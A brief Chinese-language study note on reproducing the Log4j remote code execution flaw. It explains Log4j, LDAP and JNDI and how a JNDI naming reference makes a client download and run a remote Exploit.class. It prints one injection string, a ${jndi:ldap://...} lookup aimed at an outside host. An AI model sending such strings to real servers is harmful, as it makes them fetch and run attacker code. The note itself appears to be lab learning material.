RCE远程代码执行漏洞复现log4j
Log4j
Log for Java,Apach的开源日志记录组件,使用非常广泛
 使用方法:
 1.pom引入依赖
 2.获得logger实例
 3.logger.info() debug() error() warn()
LDAP
lightweight directory access protocol轻量级目录访问协议(目录服务)默认端口389
 可以批量登录
JNDI
LDAP目录服务,RMI远程方法调用,DNS,XNam,Novell目录服务,CORBA对象服务,文件系统,Windows XP/2000/NT/Me/9x的注册表,DSML v1&v2,NIS
 Java Naming and Directory Interface ,JAVA命名和目录接口(命名服务接口)
 命名服务:用于根据名字找到位置,服务,信息,资源,对象
 基本操作:
 1.发布服务(名字和资源的映射):bind()
 2.用名字查找资源:lookup()
¥{jndi:Idap://wuya.com:5678/test}
 
通过JNDI的接口访问LDAP的服务,即通过名字,查找(lookup)LDAP的服务,获取LDAP中存储的数据
JNDI注入漏洞流程
Naming reference命名引用
 1,在LDAP里面可以存储一个外部资源,叫做命名引用,对应Reference类。比如远程HTTP服务的一个.class文件
 2,如果JNDI客户端,在IDAP服务中找不到对应的资源,就去指定的地址请求。如果是命名引用,会把这个文件下载到本地,即test文件不存在,就下载Exploit.class
 3,如果下载的.class文件包含无参数构造函数或静态方法块,加载的时候会自动执行
Log4j

 
 
 
 
 
 先开启LDAP服务,设置好IP和端口,运行log4j.class
 










